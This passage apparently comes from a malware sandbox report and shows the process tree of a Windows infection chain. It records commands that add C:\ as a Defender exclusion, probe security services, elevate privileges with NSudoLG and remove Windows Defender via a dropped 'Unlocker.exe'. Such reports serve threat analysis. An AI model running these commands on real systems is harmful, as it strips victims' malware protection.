                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\4f5ir1q5.ym5 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\4f5ir1q5.ym5\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\4f5ir1q5.ym5 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff86dc8dcf8,0x7ff86dc8dd04,0x7ff86dc8dd10
                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                          PID:4512
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\10117860101\YT1For2.exe
                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\10117860101\YT1For2.exe"
                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                      PID:5340
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\'
                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                        PID:836
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\10117870101\JTA6cYY.exe
                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\10117870101\JTA6cYY.exe"
                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                        PID:3152
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                            PID:5656
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\41A7.bat
                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                PID:5840
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\write.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                  PID:5424
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10117880101\gwerfmJ.exe
                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10117880101\gwerfmJ.exe"
                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                PID:4836
                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                    PID:3884
                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                      PID:4928
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\10117890101\FypNDh8.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\10117890101\FypNDh8.exe"
                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                      PID:4328
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\10117900101\RenT7Wg.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\10117900101\RenT7Wg.exe"
                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                        PID:4928
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                            PID:3948
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                              PID:5740
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\10117920101\i8kSMr9.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\10117920101\i8kSMr9.exe"
                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                              PID:4212
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                  PID:6292
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6292 -s 1248
                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                                    PID:6844
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\10117940101\rw6eMTC.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10117940101\rw6eMTC.exe"
                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                  PID:6656
                                                                                                                                                                                                                                                                                                                                            • C:\ye5Z0jw\XSsFUHUg.exe
                                                                                                                                                                                                                                                                                                                                              "C:\ye5Z0jw\XSsFUHUg.exe"
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                              • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                              PID:2580
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\41C6gXp.bat" "
                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                PID:1204
                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Work\nircmd.exe
                                                                                                                                                                                                                                                                                                                                                  nircmd win min process "cmd.exe"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                  PID:4108
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\chcp.com
                                                                                                                                                                                                                                                                                                                                                  chcp 65001
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:1004
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKU\S-1-5-19"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:4112
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                  PID:4688
                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Work\NSudoLG.exe
                                                                                                                                                                                                                                                                                                                                                  NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\41C6gXp.bat" any_word
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                  PID:3276
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\mode.com
                                                                                                                                                                                                                                                                                                                                                  Mode 79,49
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:628
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ver
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:964
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:536
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\find.exe
                                                                                                                                                                                                                                                                                                                                                  find /i "0x0"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:4088
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c tasklist
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:3936
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                                                                                                                                                                                    tasklist
                                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                                    • Enumerates processes with tasklist
                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                    PID:4224
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:3660
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:1280
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:720
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\Sense"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:1540
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:3788
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:3460
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:4508
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:3672
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:832
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:1524
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:4112
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:2160
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:4264
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:3204
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:1504
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:3964
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query HKLM\System\CurrentControlset\Services\WdFilter
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                  PID:1140
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:4236
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\find.exe
                                                                                                                                                                                                                                                                                                                                                  find /i "Windows 7"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:3348
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" ver "
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:3124
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                                                                                                  findstr /c:"6.1.7601"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:552
                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Work\7z.exe
                                                                                                                                                                                                                                                                                                                                                  7z x -aoa -bso0 -bsp1 "DKT.zip" -p"DDK" "Unlocker.exe"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                  PID:2748
                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Work\Unlocker.exe
                                                                                                                                                                                                                                                                                                                                                  Unlocker /CurrentDiskSize
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                  PID:1916
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                                      PID:2448
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                        sc query IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                        PID:4756
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1916"
                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                        PID:4552
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                          taskkill /f /pid "1916"
                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                          PID:1360
                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Work\Unlocker.exe
                                                                                                                                                                                                                                                                                                                                                      Unlocker /dеlwd
                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                      • Sets service image path in registry
                                                                                                                                                                                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                      PID:3640
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                          PID:5116
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                            sc query IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                            PID:2980
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                            PID:4952
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                              sc stop IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                              PID:1396
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                              sc delete IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                              PID:4448
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3640"
                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1336
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                taskkill /f /pid "3640"
                                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                PID:3196
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                            timeout /t 2 /nobreak
                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                            PID:4932
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Work\Unlocker.exe
                                                                                                                                                                                                                                                                                                                                                            Unlocker /DеlWD
                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                            • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                            PID:2404
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                PID:552
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                  sc query IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                  PID:4516
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
